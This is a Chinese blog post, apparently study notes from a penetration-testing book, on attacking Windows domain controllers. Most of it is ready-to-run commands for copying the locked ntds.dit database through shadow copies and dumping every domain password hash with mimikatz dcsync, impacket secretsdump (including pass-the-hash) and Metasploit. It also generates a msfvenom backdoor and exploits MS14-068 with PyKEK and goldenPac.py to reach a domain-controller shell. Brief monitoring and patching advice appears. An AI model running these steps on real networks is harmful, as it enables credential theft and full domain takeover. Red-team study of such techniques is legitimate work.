Cobalt Strike -内网渗透之域控攻击篇
本文最后更新于1013天前,其中的信息可能已经有所发展或是发生改变。

、域控制器攻击

在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。

1.1 通过卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。

1.1.1 通过ntdsutil.exe 提取 ntds.dit

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导( DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有Windows Server 2003、Windows Server 2008、Windows Server 2012。

1、创建快照,命令如下。

ntdsutil snapshot "activate instance ntds" create quit quit

img

可以看到这里会创建一个GUID为e48cb66b-7d5e-4e2d-acb7-cf16ae409d16的快照。

2、挂载快照,命令如下。

ntdsutil snapshot "mount {GUID}" quit quit
其中GUID的值为刚刚创建的快照的GUID

img

可以看到快照被加载到了C:目录下。

3、拷贝快照,命令如下。

copy C:\$SNAP_202106111326_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit

该命令用于将C:\windows\ntds\ntds.dit复制到本地的c:\windows\temp\ntds.dit下。

img

img

4、卸载删除快照,命令如下。

ntdsutil snapshot "unmount {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" "delete {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" quit quit

其中的e48cb66b-7d5e-4e2d-acb7-cf16ae409d16为最开始创建的快照的GUID的值。

img

5、查看快照,命令如下。

ntdsutil snapshot "List All" quit quit

img

可以看到找不到快照了,说明快照已经成功卸载删除了。

1.1.2 通过vssadmin提取ntds.dit

vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。

1、创建一个C盘的卷影拷贝,命令如下。

vssadmin create shadow /for=c:

img

2、将创建的卷影拷贝中的ntds.dit复制出来,命令如下。

copy 卷影副本卷名\windows\ntds\ntds.dit c:\ntds.dit

img

打开c盘,可以看到ntds.dit成功创建。

img

3、删除卷影,命令如下。

vssadmin delete shadows /for=c: /quiet

img

1.1.3 利用vssown.vbs 脚本提取ntds.dit

vssown.vbs脚本的功能和vssadmin类似。vssown.vbs脚本是由Tim Tomes 开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。

下载地址:https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs

1、启动卷影拷贝服务,命令如下。

利用vssown.vbs 脚本提取ntds.dit

img

2、创建一个C盘的卷影拷贝,命令如下。

cscript vssown.vbs /create c

img

3、列出当前的卷影拷贝,命令如下。

cscript vssown.vbs /list

img

4、将ntds.dit复制出来,命令如下。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit

img

dir c: | findstr "ntds"

该命令可以查看ntds.dit文件是否成功复制。

img

5、删除卷影拷贝,命令如下。

cscript vssown.vbs /delete {198D6716-2CC7-4AED-A011-4007EC8D0A7B}

img

{198D6716-2CC7-4AED-A011-4007EC8D0A7B}是卷影的ID,可以通过cscript vssown.vbs /list 进行查看。

1.1.4 使用 ntdsutil 的 IFM卷影拷贝

除了按照前面介绍的方法通过执行命令来提取ntds.dit,也可以使用创建一个IFM 的方式获取ntds.dit。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds.dit 和计算机的SAM文件复制到目标文件夹中等操作。`

在域控制器中以管理员模式打开命令行环境,输入如下命令。

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

img

运行该命令会在c盘下创建一个test文件夹,里面存放着ntds.dit,SYSTEM和SECURITY。

img

也可以直接导入nishang中的Copy-VSS.ps1脚本,命令如下。

Import-Module .Copy-VSS.ps1
 Copy-VSS

img

通过该脚本,可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录中。

1.1.5 使用diskshadow导出ntds.dit

diskshadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe使用了一种交互式命令解释器,Windows Server 2008、Windows Server 2012和 Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds.dit。

diskshadow有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exec调取一个脚本文件来执行相关命令。

我们可以使用 diskshadow.exe 来执行计算器。

1、通过echo创建文件

echo exec c:\windows\system32\calc.exe > c:\command.txt

img

2、使用diskshadow.exe执行创建的文件。

diskshadow.exe /c c:\command.txt

img

可以看到计算器成功弹出,命令成功执行。

现在我们来用diskshadow.exe 导出ntds.dit,命令如下。

//设置卷影拷贝
set context persistent nowriters

//添加卷
add volume c: alias someAlias

//创建快照
create

//分配虚拟磁盘盘符
expose %someAlias% k:

//将ntds.dit复制到c盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit

//删除所有快照
delete shadows all

//列出系统中的卷影拷贝
list shadows all

//重置
reset

//退出
exit

在使用diskshadow.exe进行导出ntds.dit 的操作时,必须将当前域控制器执行Shell的路径切换到C:windowssystem32,否则会发错误。路径切换后,使用diskshadow.exe加载command.txt即可。

img

img

可以看到ntds.dit文件已经成功导出了。

1.1.6 监控卷影拷贝服务的使用情况

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。

●监控卷影拷贝服务及任何涉及活动目录数据库文件( ntds.dit )的可疑操作行为。

●监控 System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。

●监控创建diskshadow.exe及相关子进程的事件。

●监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要,在 Windows操作系统中不应该出现diskshadow.exe。如果发现,应立刻将其删除。

●通过日志监控新出现的逻辑驱动器映射事件。

1.2 导出 ntds.dit 中的散列值

1.2.1 使用 esedbexport 恢复

1、导出ntds.dit

首先下载libesedb,下载地址:https://github.com/libyal/libesedb/releases/tag/20210424

安装依赖环境,命令如下。

apt-get install autoconf automake autopoint libtool pkg-config

img

依次输入如下命令,对 libesedb 进行编译和安装。

./configure

make

sudo make install

sudo ldconfig

安装完成后,会在系统的 /usr/local/bin 目录下看到 esedbexport 程序。

img

将刚刚导出的ntds.dit文件放入文件夹中,输入如下命令提取表信息。

esedbexport -m tables ntds.dit

img

如果提取成功的话,会在当前目录下生成一个ntds.dit.export文件夹。

img

我们只需要其中的datatable和link_table即可。

2、导出散列值

在ubuntu命令行输入如下命令,下载ntdsxtract。

git clone https://github.com/csababarta/ntdsxtract.git

继续输入如下命令,安装ntdsxtract。

python setup.py build && python setup.py install

将导出的ntds.dit 和 SYSTEM 文件一同放入ntdsxtract文件夹中,输入如下命令。

img

dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt

img

打开 all_user.txt 文件夹即可查看域内的所有用户名及散列值。

img

也可以执行如下命令,导出域内所有计算机的信息,导出文件的格式是CSV。

dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 computer_output --csvoutfile all_computers.csv

img

可以看到域内所有计算机的信息被成功导出。

img

img

1.2.2 使用impacket 工具包导出散列值

1、在ubuntu命令行中输入如下命令下载impacket 工具包。

git clone https://github.com/SecureAuthCorp/impacket.git

2、输入如下命令安装impacket工具包。

python setup.py install

3、将导出的ntds.dit 和 SYSTEM 文件一同放入impacket的example文件夹下,然后输入如下命令。

python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

img

4、也可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值,命令如下。

python3 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:6ab6364d6ba0c8556df9ee189342402d -just-dc hacker.testlab/administrator@1.1.1.2

img

1.3 利用dcsync获取域散列值

1.3.1 使用 mimikatz 转储与散列值

mimikatz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。但必须使用域管理员权限运行mimikatz才可以读取ntds.dit。在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行 mimikatz。输入如下命令,使用mimikatz导出域内的所有用户名及散列值。

lsadump::dcsync /domain:hacker.testlab /all /csv

img

使用mimikatz的dcsync功能也可以导出指定用户的散列值。执行如下命令,可以直接导出域用户testuser的散列值。

lsadump::dcsync /domain:hacker.testlab /user:testuser

img

也可以直接在域控制器中运行mimikatz,通过转储lsass.exe进程对散列值进行Dump操作,命令如下。

privilege::debug
lsadump::lsa /inject

如果不执行privilege::debug会导致权限不足、读取失败。如果用户数量太多,我们也可以将结果导出到txt文件下进行查看。

mimikatz.exe "privilege::debug" "lsadump::lsa /inject"

结果如下:

img

可以看到域内的所有账号和散列都被导出来了。

1.3.2 使用dcsync获取域账号和域散列值

Invoke-DCSyne.ps1可以利用dcsyne直接读取ntds.dit,以获取域账号和域散列值,其下载地 址:What more could you want? · GitHub。

输入如下命令获取域账号和散列值。

Set-ExecutionPolicy Restricted

Import-Module .\Invoke-DCSync.ps1

Invoke-DCSync -PWDumpFormat       (-PWDumpFormat参数用于对输出的内容进行格式化)

img

1.3.3 使用 Metasploit 获取域散列值

1、进入metasploit环境,输入如下命令查看可以使用的模块。

search ntds

img

这里列出一些可能会使用到的模块。

post/windows/gather/ntds_location       该模块可查看路径ntds

post/windows/gather/smart_hashdump      在线导出域账户hash  建议2012及以上使用auxiliary/admin/smb/psexec_ntdsgrab     利用域管账户,导出ntds必要文件到本地

post/windows/gather/ntds_grabber        利用powershell将ntds必要文件下载到本地后导出post/windows/gather/credentials/domain_hashdump介绍其方法

2、获取一个meterpreter通道

首先通过msfvenom生成后门木马,命令如下。

msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.0.105 lport=7777 -f exe > cc.exe

在本地开启监听。

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.149
set LPORT 7777
run

将后门木马上传到目标机器上并执行,即可得到meterpreter通道。

img

通过ps查看进程,使用migrate 将会话迁移到64位的进程中。

img

3、使用模块获取域散列值

1.查看ntds安装路径,命令如下。

run windows/gather/ntds_location

img

2.通过smart_hashdump查看域内散列值,命令如下。

run windows/gather/smart_hashdump

img

3.利用powershell下载ntds.dit,命令如下。

use post/windows/gather/ntds_grabber

set session 5

run

img

将生成的文件复制到root根目录进行查看。

img

查看生成的文件,可以看到ntds.dit 和 SYSTEM 文件被成功导出了,后面就可以使用工具将散列值导出。

img

4.利用域管账户,导出ntds必要文件到本地,命令如下。

use auxiliary/admin/smb/psexec_ntdsgrab

show options

set RHOSTS 10.10.10.149

set SMBDomain hackbox

set SMBUser administrator

set SMBPass XXXXXX

run

img

运行后即可得到ntds.dit文件,通过工具进行导出散列即可。

1.3.4 使用vsshadow.exe 和 QuarkPwDump.exe 导出域账号和散列值

在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。

工具准备:

QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值。

下载地址:https://github.com/redcanari/quarkspwdump/releases/download/0.3a/QuarksPwDump-0.3a.zip

ShadowCopy.bat 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件,代码如下。

setlocal

if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK

set SOURCE_DRIVE_LETTER=%SystemDrive%

set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit

set DESTINATION_PATH=%~dp0

@echo ...Determine the scripts to be executed/generated...

set CALLBACK_SCRIPT=%~dpnx0

set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd

@echo ...Creating the shadow copy...

"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%

del /f %TEMP_GENERATED_SCRIPT%

@goto :EOF

:IS_CALLBACK

setlocal

@echo ...Obtaining the shadow copy device name...

call %TEMP_GENERATED_SCRIPT%

@echo ...Copying from the shadow copy to the destination path...

copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

reg save hklm\system system.hive

vshadow.exe是从 Windows SDK中提取出来的。

将这三个文件放入同一个文件夹中。

img

运行ShadowCopy.bat 批处理文件。

img

可以发现成功导出了 ntds.dit 和 system.hive 文件。

运行如下命令修复复制出来的数据库。

esentutl /p /o ntds.dit

img

最后通过QuarksPwDump.exe导出域账号和散列值,命令如下。

QuarksPwDump.exe -dhb -sf system.hive -nt ntds.dit -o log.txt

img

img

可以看到域账号和散列成功被导出。

1.4 Kerberos 域用户提权漏洞分析域防范

1.4.1 漏洞概述

微软在2014年11月18日发布了一个紧急补丁,修复了Kerberos域用户提权漏洞(MS14-068;CVE-2014-6324)。所有Windows服务器操作系统都会受该漏洞的影响,包括Windows Server2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012和 Windows Server 2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。 这个漏洞产生的原因是:用户在向Kerberos密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证TGT后,将服务票据(Service Ticket )发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。

1.4.2 测试环境

●域:0day.org

●域账号:0dayjerry/Admin12345

●域SID:S-1-5-21-1812960810-2335050734-3517558805-1128

●域控制器:OWA2010SP3.0day.org

●Kali Linux 机器的IP地址:192.168.3.128

●域机器的IP地址:192.168.3.71

●域控制器的IP地址:192.168.3.142

1.4.3 PyHEK 工具包

PyKEK ( Python Kerberos Exploitation Kit) 是一个利用Kerberos 协议进行渗透测试的工具包,使用PyKEK 可以生成一张高权限的服务票据,并通过mimikatz将服务票据注入内存。

PyKEK只需要系统中配置Python 2.7环境就可以运行。使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作)。

下载地址:GitHub - mubix/pykek: Kerberos Exploitation Kit

1.工具说明

ms14-068.py是PyKEK工具包中的MS14-068漏洞利用脚本。参数解释如下:

-u @:用户名@域名。

-s :用户SID。

-d :域控制器地址。

-p :明文密码。

–rc4 :在没有明文密码的情况下,通过NTLM Hash登录。

img

2.查看域控制器的补丁安装情况。

微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780。输入命令”wmic qfe get hotfixid”,未发现该补丁。

img

也可以通过systeminfo命令查看补丁安装情况。

img

3.查看用户的SID

在域内主机中输入如下命令,可以查到该用户的SID。

whoami /user

img

也可以通过 “wmic useraccount get name,sid”,获取域内用户的SID。

img

4.生成高权限票据

使用PyKEK 生成高权限票据的命令,命令如下。

python ms14-068.py -u jerry@0day.org -s S-1-5-21-1812960810-2335050734-3517558805-1128 -d 192.168.3.142 -p Admin12345

img

5、查看注入前的权限。

先通过dir\dcc$ 命令尝试访问C盘下的目录,发现权限不够。

img

6.清理内存中的所有票据。

通过mimikatz清理票据,命令如下。

kerberos::purge

img

7.将高权限票据注入内存,命令如下。

kerberos::ptc "TGT_jerry@0day.org.ccache"

img

8.验证权限

连接IP地址的操作可能会失败,如果失败则使用机器名进行连接即可。

img

1.4.4 在Metasploit 中测试

1、打开metasploit,执行如下命令,使用MS14-068漏洞的利用脚本。

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

2、配置参数并执行。

通过show options查看需要配置的参数,通过set进行配置。

img

在配置完参数后,通过run执行。

img

会在/root/.msf4/生成文件loot/20210614001845_default_10.10.10.149_windows.kerberos_948359.bin

3、票据格式转换

因为metasploit不支持bin文件的导入,所以要使用mimikatz进行格式转换。在mimikate中输入如下命令,导出kirbi格式的文件。

kerberos::clist "20210614001845_default_10.10.10.149_windows.kerberos_948359.bin" /export

img

也可以通过KrbCredExport.py 进行格式转换,命令如下。

python KrbCredExport.py 20210614001845_default_10.10.10.149_windows.kerberos_948359.bin user.ticket

img

4、导入生成的票据文件

将生成的票据文件导入 metasploit 中即可,命令如下。

load kiwi

kerberos_ticket_use /tmp/0-00000000-testuser@krbtgt-C1AY.TESTLAB.kirbi

img

但是导入不成功,具体原因不知。

也可以通过impacket中的goldenpac.py进行利用,格式如下。

python goldenPac.py 域名/域成员用户:域成员用户密码@域控制器地址

Kali中默认不包含Kerberos 客户端,因此需要单独安装,命令如下。

apt-get install krb5-user -y

然后输入如下命令获取域控制的shell。

python goldenPac.py c1ay.testlab/testuser:c1ay666.@dc.c1ay.testlab

goldenPac.py是通过PsExec获得Shell 的,会产生大量的日志,加之PsExec已经被很多反病毒厂商列为危险文件,所以,在日常网络维护中,我们很容易就能发现攻击者使用goldenPac.py实现的恶意行为。

1.4.5 防范建议

针对Kerberos域用户提权漏洞,有如下防范建议。

●开启Windows Update功能,进行自动更新。

●手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁。

●对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。

●在服务器上安装反病毒软件,及时更新病毒库。

二、参考链接

1、《内网安全攻防渗透测试实战指南》

点击数:119

    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇
    下一篇